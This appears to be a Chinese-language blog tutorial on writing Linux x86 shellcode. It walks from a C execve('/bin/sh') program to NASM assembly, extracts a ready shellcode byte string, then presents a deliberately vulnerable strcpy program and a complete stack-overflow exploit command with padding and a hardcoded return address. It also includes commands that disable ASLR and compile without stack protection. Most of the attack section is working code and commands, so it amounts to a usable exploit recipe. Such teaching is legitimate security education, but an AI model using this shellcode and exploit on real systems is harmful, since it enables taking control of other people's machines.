获取中...

-

Just a minute...

总结一下shellcode编写基本方法

shellcode:

缓冲区溢出攻击中植入进程的代码,shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称它位shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。

功能:

可以是处于恶作剧弹出对话框
可能是攻击性的,删除重要文件、窃取数据、上传木马病毒并运行
破坏,格式化磁盘

shellcode基本编写方法:

  • 直接编写十六进制操作码
  • 使用从C语言编写程序,然后进行编译,用反汇编获取十六进制操作码和汇编指令。
  • 编写汇编程序,将程序汇编,从二进制中获取十六进制操作码。

execve()系统调用

在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。最基本的shellcode就是通过调用 execve() 新开一个shell。

C程序

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <unistd.h>
int main(int argc,char** argv)
{
char* name[2];
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
return 0;
}

编译gcc -o shell shell.c

运行./shell

分析

execve(name[0],name,NULL)

  • name[0]/bin/sh的地址
  • name以NULL结束的/bin/sh的地址

    Linux 系统调用的参数一般存放在 ebx,ecx,edx,esi,edi 寄存器中

  • ebx: “/bin/sh” 的地址,且 “/bin/sh” 后跟着 NULL
  • ecx: “/bin/sh” 的地址的地址,且 /bin/sh 的地址后跟着NULL
  • edx: NULL
  • eax: 系统调用号
  • execve()的系统调用号是 “11” 或 “0xb”

    编写exploit

    完成execue()系统的调用,需要几步:

1.将以NULL结尾的字符串”/bin//sh” push 进栈
2.在内存中有”/bin//sh”的地址,其后是一个 unsigned long 型的NULL值
3.将0xb拷贝到寄存器EAX中(execve的系统调用号是0xb)
4.将”/bin//sh”的地址 mov 到寄存器EBX中
5.将”/bin//sh”地址的地址 mov 到寄存器ECX中
6.将 NULL mov 到寄存器EDX中
7.执行中断指令int 0x80
需要将 “/bin/sh” 以 4 byte 为单位分割成两部分 “/bin” 、”/sh”,但是 “/sh” 只有 3 byte,最后 1 byte 就会自动填充成 NULL,这是不允许的。因此在最前面增加一个 /,即 “//sh”,最后的字符串为 “/bin//sh”

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
section .text
global _start
_start:
xor eax,eax
push eax ;NULL入栈
push 0x68732f2f ;将//sh入栈,0x68732f2f 是//sh的ASCII码
push 0x6e69622f ;0x6e69622f 是/bin的ASCII码,将/bin入栈
mov ebx,esp ;esp指向栈顶,保存 以NULL结尾的"/bin//sh",将地址保存到 ebx 中
push eax ; NULL 入栈
push ebx ;以NULL结尾的"/bin//sh" 的地址入栈
mov ecx,esp ;"/bin//sh" 的地址的地址放入ecx,且 /bin//sh 的地址后跟着NULL
xor edx,edx ; NULL 放到 edx中
mov al,0xb ; execve()系统调用号 11 存放到 eax 中
int 0x80

编译:nasm -f elf shellcode_execve.asm -o shellcode_execve.o

连接:ld -o shellcode_execve shellcode_execve.o

运行:./shellcode_execve

提取二进制码:objdump -d shellcode_execve

exploit: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

编写shellcode

level.c

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void function(char* a){
char buf[128];
strcpy(buf,a);
}
int main(int argc, char** argv){
if(argc >=2 ){
function(argv[1]);
printf("%s\n",argv[1]);
}
return 0;
}

通过调试找到buf起始地址和返回地址,并计算偏移.

构造shellcode: exploit + nop*(offset - strlen(exploit)) + exploit起始地址(即buf起始地址)

shellcode:

$(python -c ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”+”A”*115+”\x80\xef\xff\xbf”‘)

关闭地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

关闭canary和DEP:

gcc -o level level.c -fno-stack-protector -z execstack

运行:

./level $(python -c ‘print “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”+”A”*115+”\x80\xef\xff\xbf”‘)

参考:http://www.cnblogs.com/Lamboy/archive/2012/07/31/2616103.html

相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
Please check the parameter of comment in config.yml of hexo-theme-Annie!